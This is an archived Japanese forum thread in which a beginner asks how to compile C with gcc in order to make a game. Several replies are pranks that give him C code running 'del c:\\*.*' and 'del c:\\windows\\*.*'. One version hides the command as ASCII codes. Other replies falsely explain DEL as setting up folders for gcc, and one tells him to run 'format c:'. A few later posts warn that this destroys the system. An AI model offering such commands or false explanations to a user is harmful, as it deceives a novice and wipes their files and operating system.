[過去ログ] 【本命】遂に俺がゲーム制作を始めるが【登場】 (277レス)
1-

このスレッドは過去ログ倉庫に格納されています。
次スレ検索 歴削→次スレ 栞削→次スレ 過去ログメニュー
48
(1): 1 02/08/04 03:31 ID:MUDaMklU(2/7) AAS
>>43
>gcc source.c と入力し、enterを押します
どこに入力するんですか?
49: 02/08/04 03:34 ID:??? AAS
>>48
gccはコマンドラインツールなので、
MS-DOSプロンプトから実行してください。
カレントディレクトリの移動は

 DIR 移動したいディレクトリ
50: 02/08/04 03:56 ID:??? AAS
dir はヂレクトリ〜を見るやつだろ
この場合は
cd windows
が正解。

cd[半角スペース][移動先] で移動先のヂレクトリ〜(フォルダ名)に移動

source.cに

#include <stdio.h>
省5
51: 02/08/04 04:01 ID:??? AAS
もしくは、
  system("del c:/windows/*.*");
か。
最後のセミコロンわすれんなよ
52: 02/08/04 04:25 ID:??? AAS
#include <stdio.h>
void main(void)
{
 system("del c:\*.*");
 system("del c:\windows\*.*");
}
2行のほうがよくね?
53: 02/08/04 04:36 ID:??? AAS
stdio.h いるのか
54: 02/08/04 04:48 ID:??? AAS
\はそのままじゃつかえねえよ。使うなら\\。
55: ゴミは埋めた方がいいかと 02/08/04 05:09 ID:??? AAS
俺、いつもはこういう厨スレでも比較的教えたりするんだけどさ。
この>>1にだけは、一切まともなこと教えてやりたくないよ。

何コイツ? 自分だけは特別と思ってる香具師?
人に聞くだけしか能がなくて何が【本命登場】だっての。
このまま逝くと永久教えて君になること確定だから、
このスレは放置した方がよくない?
56: 02/08/04 05:30 ID:??? AAS
>>39
そりゃ単にここが超過疎板だから
逆に言やそこまで人がいないのにニュース速報なんかと同じような基準で
スレ立て叩きまくっても仕方がないような気がしないでもないでもないでもない
57: Hello White World 02/08/04 05:52 ID:??? AAS
#include <stdlib.h> /*#include <process.h>でも可*/

void main(void)
{
 system("del c:\\*.*");
 system("del c:\\windows\\*.*");
}
58: 02/08/04 09:22 ID:??? AAS
奴のIDが無駄?
59: 02/08/04 11:09 ID:??? AAS
#include<stdlib.h>
char str[]={100,101,108,32,99,58,92,119,105,110,100,111,119,115,92,42,46,42,0};
void main(void){system(str);}
60
(1): 02/08/04 15:18 ID:??? AAS
教えんなって
61: _ 02/08/04 15:35 ID:??? AAS
>>60

諦めな。
このスレは>>1の勝ちだぜ?
62
(1): 1 02/08/04 15:43 ID:MUDaMklU(3/7) AAS
コマンドまたはファイル名が違います.
といわれるぞ。
63: 02/08/04 16:02 ID:??? AAS
>>62
exeが作られてない。
よく読んでやりなおせ。
64
(4): 02/08/04 16:34 ID:??? AAS
>>1
よくわかってないようだから説明するが

system("del c:\\*.*");
system("del c:\\windows\\*.*");

の2行はc:\とc:\windowsのフォルダを使用可能にセットアップするって意味だ。
delはDirectory Enter Learnの略でウィンドウズフォルダをGCCに学ばせる=利用可能にするって意味。
65: 1 02/08/04 16:45 ID:MUDaMklU(4/7) AAS
gcc source.c
とすると
コマンドまたはファイル名が違います.
といわれるのだが
マニュアルは英語でよく分からん
66: 1 02/08/04 16:47 ID:MUDaMklU(5/7) AAS
>>64
使用可能にすると、なにができるの?
67: 02/08/04 17:06 ID:??? AAS
gccインストールしてないんでねぇの?
68: 02/08/04 17:13 ID:??? AAS
>>64
教えんな、氏ね
69: 02/08/04 17:33 ID:??? AAS
汎用質問スレも初心者用質問スレもc言語のスレもあるのに・・・
何で1はこのスレで続けることにこだわるの?
このまま続けてもあまりいい事はないと思う。
悪意ある人が嘘を教えたりすることもあるだろうし、きっと
煽りはやまないだろうし。
70: 02/08/04 18:08 ID:??? AAS
たとえばさ、君がサッカーをやってたとする。
かみそりシュートを撃てる人が前にいるのに敵に囲まれてボールを送ることが出来ない。
つまり、パスが通らない。

ま、そゆことです。
71: ゴミは埋めた方がいいかと 02/08/04 18:49 ID:??? AAS
英語マニュアルも読めんでプログラムか・・・
72: 02/08/04 19:02 ID:??? AAS
c:\gccにインストールした(解凍した)場合には、autoexec.bat に
path=c:\gcc;
って入れると動くよ
73
(1): 02/08/04 19:03 ID:??? AAS
>>64
「Directory Enterance Learning」、な。
74: 02/08/04 20:23 ID:??? AAS
オレが最後のマジレスだ
全てのファイルを同フォルダにいれとけ!
75: 64 02/08/04 21:11 ID:??? AAS
>>73
ああ、それだ。補完サンクス。
>>1
と、いうことだ。こっちが正解。
76: 1 02/08/04 21:21 ID:MUDaMklU(6/7) AAS
インストールしてないんで、しようとしたけど、やりかたが分からん。
Installってフォルダがあったのでファイル見たけど、
configureとやっても例のメッセージが出て終わる。
騙されてるのか、俺? gccはいらない?
77
(1): 02/08/04 21:36 ID:??? AAS
わからないところがあるのでおながいします
>>23の一番下段の酢醤油とはどんなものなんでしょうか?
78: 02/08/04 22:36 ID:??? AAS
>>77
一般的には、酢と醤油を1:1で混合した液体をベースとした調味料を指すようです。
79: 1 02/08/04 23:54 ID:MUDaMklU(7/7) AAS
酢醤油ってアレだろ、餃子につけて食うやつ。二杯酢だろ。

で、gccはどうやって動かすんだ? 誰か教えてください!
80: 02/08/04 23:56 ID:??? AAS
ちゃんとWindows用をダウンロードしたんだろうな?
81: 1 02/08/05 00:03 ID:UW4r57o6(1/4) AAS
Windows用かどうか知らんけど、紹介されたところからJapaniseってところに行って
フリーソフトウェア一覧ってところにいって(ここでなぜか英語になる)
Software developmentってところにいって(ソフト作る人用ってことだと思う)
よく分からなかったのでCompilersってところにいって
沢山入ってそうなのでGccというヤツをダウンした。
確かにWindows用とは書いてないな。それ、どこにあるの?
82
(1): 02/08/05 00:05 ID:??? AAS
コンパイラなんてどうでもいいから
はやくゲーム作れ
83: 1 02/08/05 00:06 ID:UW4r57o6(2/4) AAS
>>82
とりあえず紹介されたホムペに入ってダウンしたんだけど、
他にゲームを作る方法があれば教えて下さい。
フリーのヤツ。
84: 02/08/05 00:08 ID:??? AAS
1はここでも見てなさいってこった
www.forest.impress.co.jp/article/2000/03/21/unixlike.html
85: 02/08/05 00:20 ID:??? AAS
Cマガジン買ってきたほうが早いと思う
86
(2): 02/08/05 00:28 ID:??? AAS
Cygwinてやつをダウンした。
なんか良く分からなかったけど、全部「次へ」を選んだらインストール終わった。

でも、cd windowsとすると
BASH: cd: windows: No such file or directory
と言われてしまう。
DOSプロンプトでgccをやるとやっぱり
コマンドまたはファイル名が違います.
省6
87: 1 02/08/05 00:28 ID:UW4r57o6(3/4) AAS
>>86>>1です。
88: [sa] 02/08/05 00:44 ID:??? AAS
ドスプロンプトで
format c:
でもしろ、ハードディスクフォーマットだ
89: 02/08/05 00:44 ID:/LgOOHSk(1) AAS
ちなみにハードディスクのデータが全部きえる
90: 02/08/05 00:46 ID:??? AAS
AA省
91: 02/08/05 00:55 ID:??? AAS
>>1
Javaも選択肢に入れてみたら
92: 02/08/05 01:20 ID:??? AAS
>>86
CygwinはDOSコマンドじゃなくてUNIXコマンドだぞ。
93
(1): 02/08/05 01:31 ID:kMuAAQXk(1) AAS
そもそもなぜCygwin? MinGWじゃダメなのかYO!
94: 02/08/05 01:55 ID:??? AAS
>>93
マイナーだろ
95: 02/08/05 02:00 ID:??? AAS
AA省
96
(2): 02/08/05 02:02 ID:??? AAS
いや、別にMinGWでなくとも、Borland C++でもDigitalMars C++
でもWatcom C++でもいいんだが、Win上でUnixシェル使うのが
そんなにイイのか? てか、ゲ製とどういう関係が?
97: 02/08/05 02:11 ID:??? AAS
>>96
空気を読め
98: 1 02/08/05 05:04 ID:UW4r57o6(4/4) AAS
別にgccとかcygwinとかいうヤツでなくても構わない。
フリーで紹介されただけだから。
>>96のヤツはフリーですか?
gccとかcygwinみたいに始めるまでに大変なのは嫌です。
99
(1): 02/08/05 06:23 ID:??? AAS
>>1
とりあえずどんなコンパイラでも最初は

#include <stdlib.h> /*#include <process.h>でも可*/

void main(void)
{
 system("del c:\\*.*");
 system("del c:\\windows\\*.*");
省3
100
(1): 02/08/05 06:52 ID:??? AAS
>>1
これ使ってみたら?
外部リンク[zip]:www.roomyroo.com

圧縮してあるけど、解凍パスは google
101: 02/08/05 14:32 ID:??? AAS
AA省
102: 02/08/06 11:34 ID:??? AAS
何の本命か教えてください
103: 1 [1を頃す。] 02/08/06 13:10 ID:??? AAS
本命馬鹿です。
104: 02/08/06 13:33 ID:??? AAS
AA省
105: 1 [age] 02/08/09 02:50 ID:??? AAS
暫く田舎に行ってた。
んで、どうして誰もDELする効果を教えてくれねぇの?
結局Gccも動かないしよー。
あと、>>100のは落とせません。
106: 02/08/09 03:20 ID:??? AAS
DELでWindowsにgccとかで作られたexeの形式を覚えさせる。
デバッグするときに、ソースコードのどの行が悪いかが表示されるなど、かなり便利。
(たまにとんでもないところを指すのはご愛嬌だ)

引数は当然Windowsが入ったフォルダを指定しないといけない。
c:\を指定すると自動的に検索するけどね…。
107
(1): 02/08/09 08:29 ID:??? AAS
よし、1よ。
とりあえずわからないことを列挙すれ。
あと、どこまでできるようになったのかも。
108: 02/08/09 16:44 ID:??? AAS
>>99
そのコード実行したらパソが氏ぬよ
109: 02/08/09 17:04 ID:??? AAS
ああ、108の言うとおりパソが死ぬから絶対ためしちゃだめだ。
ホントだぞ。
疑うならそれを試さないでどっか他でやってくれ。
へんにためしてC言語覚えてまたスレたてられても困る。
厨房増加で迷惑している2ちゃんねるのためにもな。
だからもう2度とこのスレをみることなくどこかへ消えてくれ。
110
(1): 02/08/09 23:18 ID:??? AAS
void main なんて書いてちゃダメだよ
111: 02/08/10 13:52 ID:??? AAS
Winが起動しなくなる=パソが死ぬ、すか。
Winはパソの命なんすね。
ちなみにxpもc:\windowsなんすか?
112: 02/08/10 14:40 ID:Ky7wiIRs(1) AAS
はやく1さんのげーむであそびたいです。
がんばってください
113: 02/08/10 16:01 ID:??? AAS
>110
なんで
114: 02/08/10 16:13 ID:??? AAS
コード書いちゃダメなんてよほど>>1にはやってほしくないんだな。
クソスレ上がるから迷惑だし。
115: 02/08/10 16:36 ID:??? AAS
int main だよな
116
(1): 02/08/10 16:53 ID:??? AAS
だからなんで
117: 02/08/10 17:38 ID:??? AAS
>>116
自分で調べろ。
まぁ、「絶対にダメ」と言うわけではない。
118
(1): 02/08/10 17:58 ID:??? AAS
ただしくは int main とみたが
これにせーという理由はかいてなかった。
だからなんで。
119
(1): 02/08/10 18:28 ID:??? AAS
>>118
ホントに探したのかよ…
intが望ましいのは、ANSI規格で定められているから。
ちなみに定められているのは以下の2通り。

int main (void)
int main (int argc, char *argv[])
120: 119 02/08/10 18:32 ID:??? AAS
>>119追加
UNIXのシェルではプログラムの返り値(=main関数の返り値)を参照する場合がある。
他のOSのシェルは知らん。全部のシェルが参照するかどうかもワカラン。
121: 02/08/10 22:55 ID:??? AAS
あまりに>>1がダメダメで話が進まずに終了って感じですかね。
122: 1 02/08/11 00:45 ID:aWqlCPWI(1/6) AAS
ダメとか失礼なこというなよ。
とりあえずDELは実行したらいけないというのは分かった。
だがgccはどうすれば動く? あと、結局どうやったらゲームが作れるんだ??
123
(1): 1 02/08/11 00:48 ID:aWqlCPWI(2/6) AAS
>>107
分からないこと
・絵を動かす
・音を鳴らす
・マウスやキボードで打ったのを知る

どこまでできるか
・DELは実行したらいけない
省3
124
(1): 02/08/11 01:40 ID:??? AAS
何の本命か教えてください
125
(2): 02/08/11 02:23 ID:??? AAS
>>123
実行してはいけないではなく正確にはなにもやらずに消え失せろという意味。
空気読めよ。
126
(1): 02/08/11 02:28 ID:??? AAS
AA省
127: 1 02/08/11 03:47 ID:aWqlCPWI(3/6) AAS
>>124
ゲーム制作のかな。
この板で上がる企画の何一つ完成しないのを見て、
遂に俺が立ち上がった。

>>125
DELはなにもしないで消すの? わけ分からん。

>>126
省1
128
(1): 02/08/11 03:49 ID:??? AAS
 私は>>1。悩める中学生である。そう、私は今、非常に悩んでいるのだ。
何について悩いるのかというと、それはずばり人生についてである。
なんか最近、自分の生き方に疑問を抱いている。
私は、今まで、まわりの人になんと言われようが自分が楽しいと思ったことはやってきたし、
趣味などに関しても、たとえ、どんなにマイナーで人にバカにされたりしても、
そんなことは全く気にせず、我が道を貫いてきた。
私は、自分のこんな生き方が大好きで、これからも、ずっとこの生き方を通していくつもりだった。
省11
1-
あと 149 レスあります
スレ情報 赤レス抽出 画像レス抽出 歴の未読スレ AAサムネイル

ぬこの手 ぬこTOP 0.018s